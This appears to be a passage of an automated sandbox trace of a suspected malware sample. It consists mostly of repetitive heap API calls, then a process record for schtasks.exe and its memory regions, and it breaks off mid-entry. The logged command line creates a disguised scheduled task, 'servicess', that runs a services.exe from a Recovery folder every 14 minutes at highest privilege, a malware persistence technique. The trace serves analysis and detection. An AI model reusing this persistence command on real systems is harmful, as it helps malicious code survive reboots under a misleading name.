1 [0061.168] GetProcessHeap () returned 0xc0000 [0061.168] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xdd440) returned 0x200 [0061.168] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xdd440 | out: hHeap=0xc0000) returned 1 [0061.169] GetProcessHeap () returned 0xc0000 [0061.169] GetProcessHeap () returned 0xc0000 [0061.169] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xdbc30) returned 1 [0061.169] GetProcessHeap () returned 0xc0000 [0061.169] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xdbc30) returned 0x18 [0061.169] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xdbc30 | out: hHeap=0xc0000) returned 1 [0061.169] GetProcessHeap () returned 0xc0000 [0061.169] GetProcessHeap () returned 0xc0000 [0061.169] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xd5d20) returned 1 [0061.169] GetProcessHeap () returned 0xc0000 [0061.169] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xd5d20) returned 0x20 [0061.169] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xd5d20 | out: hHeap=0xc0000) returned 1 [0061.170] GetProcessHeap () returned 0xc0000 [0061.170] GetProcessHeap () returned 0xc0000 [0061.170] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xdc3a0) returned 1 [0061.170] GetProcessHeap () returned 0xc0000 [0061.170] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xdc3a0) returned 0x14 [0061.170] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xdc3a0 | out: hHeap=0xc0000) returned 1 [0061.170] GetProcessHeap () returned 0xc0000 [0061.170] GetProcessHeap () returned 0xc0000 [0061.170] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xdc380) returned 1 [0061.170] GetProcessHeap () returned 0xc0000 [0061.170] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xdc380) returned 0x18 [0061.170] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xdc380 | out: hHeap=0xc0000) returned 1 [0061.170] GetProcessHeap () returned 0xc0000 [0061.170] GetProcessHeap () returned 0xc0000 [0061.170] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xd5c60) returned 1 [0061.170] GetProcessHeap () returned 0xc0000 [0061.170] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xd5c60) returned 0x20 [0061.170] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xd5c60 | out: hHeap=0xc0000) returned 1 [0061.170] GetProcessHeap () returned 0xc0000 [0061.170] GetProcessHeap () returned 0xc0000 [0061.171] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xdc3c0) returned 1 [0061.171] GetProcessHeap () returned 0xc0000 [0061.171] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xdc3c0) returned 0x16 [0061.171] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xdc3c0 | out: hHeap=0xc0000) returned 1 [0061.171] GetProcessHeap () returned 0xc0000 [0061.171] GetProcessHeap () returned 0xc0000 [0061.171] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xdc240) returned 1 [0061.171] GetProcessHeap () returned 0xc0000 [0061.171] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xdc240) returned 0x18 [0061.171] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xdc240 | out: hHeap=0xc0000) returned 1 [0061.171] GetProcessHeap () returned 0xc0000 [0061.171] GetProcessHeap () returned 0xc0000 [0061.171] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xd5c30) returned 1 [0061.171] GetProcessHeap () returned 0xc0000 [0061.171] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xd5c30) returned 0x20 [0061.171] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xd5c30 | out: hHeap=0xc0000) returned 1 [0061.171] GetProcessHeap () returned 0xc0000 [0061.171] GetProcessHeap () returned 0xc0000 [0061.171] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xdbb70) returned 1 [0061.171] GetProcessHeap () returned 0xc0000 [0061.171] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xdbb70) returned 0x2 [0061.172] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xdbb70 | out: hHeap=0xc0000) returned 1 [0061.172] GetProcessHeap () returned 0xc0000 [0061.172] GetProcessHeap () returned 0xc0000 [0061.172] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xd5a80) returned 1 [0061.172] GetProcessHeap () returned 0xc0000 [0061.172] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xd5a80) returned 0x20 [0061.172] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xd5a80 | out: hHeap=0xc0000) returned 1 [0061.172] GetProcessHeap () returned 0xc0000 [0061.172] GetProcessHeap () returned 0xc0000 [0061.172] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xd5ab0) returned 1 [0061.172] GetProcessHeap () returned 0xc0000 [0061.172] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xd5ab0) returned 0x20 [0061.173] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xd5ab0 | out: hHeap=0xc0000) returned 1 [0061.173] GetProcessHeap () returned 0xc0000 [0061.173] GetProcessHeap () returned 0xc0000 [0061.173] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xd5ae0) returned 1 [0061.173] GetProcessHeap () returned 0xc0000 [0061.173] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xd5ae0) returned 0x20 [0061.173] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xd5ae0 | out: hHeap=0xc0000) returned 1 [0061.173] GetProcessHeap () returned 0xc0000 [0061.173] GetProcessHeap () returned 0xc0000 [0061.173] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xd5b10) returned 1 [0061.173] GetProcessHeap () returned 0xc0000 [0061.173] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xd5b10) returned 0x20 [0061.174] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xd5b10 | out: hHeap=0xc0000) returned 1 [0061.174] GetProcessHeap () returned 0xc0000 [0061.174] GetProcessHeap () returned 0xc0000 [0061.174] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xdcd00) returned 1 [0061.174] GetProcessHeap () returned 0xc0000 [0061.174] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xdcd00) returned 0x20 [0061.174] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xdcd00 | out: hHeap=0xc0000) returned 1 [0061.174] GetProcessHeap () returned 0xc0000 [0061.174] GetProcessHeap () returned 0xc0000 [0061.174] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xdd7e0) returned 1 [0061.174] GetProcessHeap () returned 0xc0000 [0061.174] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xdd7e0) returned 0xc [0061.175] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xdd7e0 | out: hHeap=0xc0000) returned 1 [0061.175] GetProcessHeap () returned 0xc0000 [0061.175] GetProcessHeap () returned 0xc0000 [0061.175] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xdcd30) returned 1 [0061.175] GetProcessHeap () returned 0xc0000 [0061.175] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xdcd30) returned 0x20 [0061.175] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xdcd30 | out: hHeap=0xc0000) returned 1 [0061.175] GetProcessHeap () returned 0xc0000 [0061.175] GetProcessHeap () returned 0xc0000 [0061.175] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xd7c10) returned 1 [0061.175] GetProcessHeap () returned 0xc0000 [0061.175] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xd7c10) returned 0x30 [0061.176] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xd7c10 | out: hHeap=0xc0000) returned 1 [0061.176] GetProcessHeap () returned 0xc0000 [0061.176] GetProcessHeap () returned 0xc0000 [0061.176] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xdcd60) returned 1 [0061.176] GetProcessHeap () returned 0xc0000 [0061.176] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xdcd60) returned 0x20 [0061.177] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xdcd60 | out: hHeap=0xc0000) returned 1 [0061.177] GetProcessHeap () returned 0xc0000 [0061.177] GetProcessHeap () returned 0xc0000 [0061.177] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xd7c50) returned 1 [0061.177] GetProcessHeap () returned 0xc0000 [0061.177] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xd7c50) returned 0x30 [0061.177] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xd7c50 | out: hHeap=0xc0000) returned 1 [0061.177] GetProcessHeap () returned 0xc0000 [0061.177] GetProcessHeap () returned 0xc0000 [0061.177] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xdcee0) returned 1 [0061.177] GetProcessHeap () returned 0xc0000 [0061.177] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xdcee0) returned 0x20 [0061.178] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xdcee0 | out: hHeap=0xc0000) returned 1 [0061.178] GetProcessHeap () returned 0xc0000 [0061.178] GetProcessHeap () returned 0xc0000 [0061.178] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xdd700) returned 1 [0061.178] GetProcessHeap () returned 0xc0000 [0061.178] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xdd700) returned 0x16 [0061.178] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xdd700 | out: hHeap=0xc0000) returned 1 [0061.178] GetProcessHeap () returned 0xc0000 [0061.178] GetProcessHeap () returned 0xc0000 [0061.178] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xdceb0) returned 1 [0061.178] GetProcessHeap () returned 0xc0000 [0061.178] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xdceb0) returned 0x20 [0061.178] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xdceb0 | out: hHeap=0xc0000) returned 1 [0061.178] GetProcessHeap () returned 0xc0000 [0061.178] GetProcessHeap () returned 0xc0000 [0061.178] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xdd720) returned 1 [0061.178] GetProcessHeap () returned 0xc0000 [0061.179] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xdd720) returned 0x16 [0061.179] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xdd720 | out: hHeap=0xc0000) returned 1 [0061.179] GetProcessHeap () returned 0xc0000 [0061.179] GetProcessHeap () returned 0xc0000 [0061.179] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xdce80) returned 1 [0061.179] GetProcessHeap () returned 0xc0000 [0061.179] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xdce80) returned 0x20 [0061.179] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xdce80 | out: hHeap=0xc0000) returned 1 [0061.179] GetProcessHeap () returned 0xc0000 [0061.179] GetProcessHeap () returned 0xc0000 [0061.179] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xf9d60) returned 1 [0061.179] GetProcessHeap () returned 0xc0000 [0061.179] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xf9d60) returned 0x82 [0061.179] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xf9d60 | out: hHeap=0xc0000) returned 1 [0061.179] GetProcessHeap () returned 0xc0000 [0061.179] GetProcessHeap () returned 0xc0000 [0061.179] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xdce50) returned 1 [0061.180] GetProcessHeap () returned 0xc0000 [0061.180] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xdce50) returned 0x20 [0061.180] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xdce50 | out: hHeap=0xc0000) returned 1 [0061.180] GetProcessHeap () returned 0xc0000 [0061.180] GetProcessHeap () returned 0xc0000 [0061.180] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xdd760) returned 1 [0061.180] GetProcessHeap () returned 0xc0000 [0061.180] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xdd760) returned 0xe [0061.180] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xdd760 | out: hHeap=0xc0000) returned 1 [0061.180] GetProcessHeap () returned 0xc0000 [0061.180] GetProcessHeap () returned 0xc0000 [0061.180] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xdce20) returned 1 [0061.180] GetProcessHeap () returned 0xc0000 [0061.180] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xdce20) returned 0x20 [0061.181] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xdce20 | out: hHeap=0xc0000) returned 1 [0061.181] GetProcessHeap () returned 0xc0000 [0061.181] GetProcessHeap () returned 0xc0000 [0061.181] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xdd780) returned 1 [0061.181] GetProcessHeap () returned 0xc0000 [0061.181] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xdd780) returned 0xc [0061.181] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xdd780 | out: hHeap=0xc0000) returned 1 [0061.181] GetProcessHeap () returned 0xc0000 [0061.181] GetProcessHeap () returned 0xc0000 [0061.181] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xdcdf0) returned 1 [0061.181] GetProcessHeap () returned 0xc0000 [0061.181] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xdcdf0) returned 0x20 [0061.182] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xdcdf0 | out: hHeap=0xc0000) returned 1 [0061.182] GetProcessHeap () returned 0xc0000 [0061.182] GetProcessHeap () returned 0xc0000 [0061.182] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xdd7a0) returned 1 [0061.182] GetProcessHeap () returned 0xc0000 [0061.182] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xdd7a0) returned 0xe [0061.182] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xdd7a0 | out: hHeap=0xc0000) returned 1 [0061.182] GetProcessHeap () returned 0xc0000 [0061.182] GetProcessHeap () returned 0xc0000 [0061.182] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xdcdc0) returned 1 [0061.182] GetProcessHeap () returned 0xc0000 [0061.182] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xdcdc0) returned 0x20 [0061.183] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xdcdc0 | out: hHeap=0xc0000) returned 1 [0061.183] GetProcessHeap () returned 0xc0000 [0061.183] GetProcessHeap () returned 0xc0000 [0061.183] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xdd7c0) returned 1 [0061.183] GetProcessHeap () returned 0xc0000 [0061.183] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xdd7c0) returned 0x10 [0061.183] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xdd7c0 | out: hHeap=0xc0000) returned 1 [0061.183] GetProcessHeap () returned 0xc0000 [0061.183] GetProcessHeap () returned 0xc0000 [0061.183] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xdcd90) returned 1 [0061.183] GetProcessHeap () returned 0xc0000 [0061.183] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xdcd90) returned 0x20 [0061.183] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xdcd90 | out: hHeap=0xc0000) returned 1 [0061.183] GetProcessHeap () returned 0xc0000 [0061.183] GetProcessHeap () returned 0xc0000 [0061.184] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xdbb90) returned 1 [0061.184] GetProcessHeap () returned 0xc0000 [0061.184] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xdbb90) returned 0x18 [0061.184] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xdbb90 | out: hHeap=0xc0000) returned 1 [0061.184] GetProcessHeap () returned 0xc0000 [0061.184] GetProcessHeap () returned 0xc0000 [0061.184] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xd5b40) returned 1 [0061.184] GetProcessHeap () returned 0xc0000 [0061.184] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xd5b40) returned 0x20 [0061.184] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xd5b40 | out: hHeap=0xc0000) returned 1 [0061.184] GetProcessHeap () returned 0xc0000 [0061.184] GetProcessHeap () returned 0xc0000 [0061.184] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xd5b70) returned 1 [0061.184] GetProcessHeap () returned 0xc0000 [0061.184] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xd5b70) returned 0x20 [0061.185] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xd5b70 | out: hHeap=0xc0000) returned 1 [0061.185] GetProcessHeap () returned 0xc0000 [0061.185] GetProcessHeap () returned 0xc0000 [0061.185] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xd5ba0) returned 1 [0061.185] GetProcessHeap () returned 0xc0000 [0061.185] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xd5ba0) returned 0x20 [0061.185] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xd5ba0 | out: hHeap=0xc0000) returned 1 [0061.185] GetProcessHeap () returned 0xc0000 [0061.185] GetProcessHeap () returned 0xc0000 [0061.185] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xd5bd0) returned 1 [0061.185] GetProcessHeap () returned 0xc0000 [0061.185] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xd5bd0) returned 0x20 [0061.186] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xd5bd0 | out: hHeap=0xc0000) returned 1 [0061.186] GetProcessHeap () returned 0xc0000 [0061.186] GetProcessHeap () returned 0xc0000 [0061.186] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xdbbb0) returned 1 [0061.186] GetProcessHeap () returned 0xc0000 [0061.186] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xdbbb0) returned 0x18 [0061.186] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xdbbb0 | out: hHeap=0xc0000) returned 1 [0061.186] GetProcessHeap () returned 0xc0000 [0061.186] GetProcessHeap () returned 0xc0000 [0061.186] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xd5c00) returned 1 [0061.186] GetProcessHeap () returned 0xc0000 [0061.186] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xd5c00) returned 0x20 [0061.187] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xd5c00 | out: hHeap=0xc0000) returned 1 [0061.187] GetProcessHeap () returned 0xc0000 [0061.187] GetProcessHeap () returned 0xc0000 [0061.187] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xd5c90) returned 1 [0061.187] GetProcessHeap () returned 0xc0000 [0061.187] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xd5c90) returned 0x20 [0061.187] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xd5c90 | out: hHeap=0xc0000) returned 1 [0061.187] GetProcessHeap () returned 0xc0000 [0061.187] GetProcessHeap () returned 0xc0000 [0061.187] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xd5cf0) returned 1 [0061.187] GetProcessHeap () returned 0xc0000 [0061.187] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xd5cf0) returned 0x20 [0061.188] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xd5cf0 | out: hHeap=0xc0000) returned 1 [0061.188] GetProcessHeap () returned 0xc0000 [0061.188] GetProcessHeap () returned 0xc0000 [0061.188] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xd5d50) returned 1 [0061.188] GetProcessHeap () returned 0xc0000 [0061.188] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xd5d50) returned 0x20 [0061.188] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xd5d50 | out: hHeap=0xc0000) returned 1 [0061.188] GetProcessHeap () returned 0xc0000 [0061.188] GetProcessHeap () returned 0xc0000 [0061.188] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xd5d80) returned 1 [0061.188] GetProcessHeap () returned 0xc0000 [0061.188] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xd5d80) returned 0x20 [0061.189] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xd5d80 | out: hHeap=0xc0000) returned 1 [0061.189] GetProcessHeap () returned 0xc0000 [0061.189] GetProcessHeap () returned 0xc0000 [0061.189] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xdbbd0) returned 1 [0061.189] GetProcessHeap () returned 0xc0000 [0061.189] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xdbbd0) returned 0x18 [0061.189] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xdbbd0 | out: hHeap=0xc0000) returned 1 [0061.189] GetProcessHeap () returned 0xc0000 [0061.189] GetProcessHeap () returned 0xc0000 [0061.189] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xd5cc0) returned 1 [0061.189] GetProcessHeap () returned 0xc0000 [0061.189] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xd5cc0) returned 0x20 [0061.190] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xd5cc0 | out: hHeap=0xc0000) returned 1 [0061.190] GetProcessHeap () returned 0xc0000 [0061.190] GetProcessHeap () returned 0xc0000 [0061.190] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xdbb50) returned 1 [0061.190] GetProcessHeap () returned 0xc0000 [0061.190] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xdbb50) returned 0x18 [0061.190] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xdbb50 | out: hHeap=0xc0000) returned 1 [0061.190] exit (_Code=0) Thread: id = 105 os_tid = 0xefc Process: id = "13" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x3f506000" os_pid = "0xf00" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xa54" cmd_line = "schtasks.exe /create /tn \"servicess\" /sc MINUTE /mo 14 /tr \"'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'\" /rl HIGHEST /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f1fb" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1915 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1916 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1917 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 1918 start_va = 0x120000 end_va = 0x19ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 1919 start_va = 0x77be0000 end_va = 0x77d88fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1920 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1921 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1922 start_va = 0xff080000 end_va = 0xff0c7fff monitored = 1 entry_point = 0xff0a966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 1923 start_va = 0x7fefff00000 end_va = 0x7fefff00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1924 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1925 start_va = 0x7fffffd5000 end_va = 0x7fffffd5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 1926 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 1927 start_va = 0x1a0000 end_va = 0x2fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 1928 start_va = 0x779c0000 end_va = 0x77adefff monitored = 0 entry_point = 0x779d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1929 start_va = 0x7fefddf0000 end_va = 0x7fefde5bfff monitored = 0 entry_point = 0x7fefddf2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1930 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1931 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1932 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1933 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1934 start_va = 0x7feffd90000 end_va = 0x7feffe2efff monitored = 0 entry_point = 0x7feffd925a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1935 start_va = 0x77ae0000 end_va = 0x77bd9fff monitored = 0 entry_point = 0x77afa2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1936 start_va = 0x7feff680000 end_va = 0x7feff6e6fff monitored = 0 entry_point = 0x7feff68b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1937 start_va = 0x7feff6f0000 end_va = 0x7feff6fdfff monitored = 0 entry_point = 0x7feff6f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 1938 start_va = 0x7feff4d0000 end_va = 0x7feff598fff monitored = 0 entry_point = 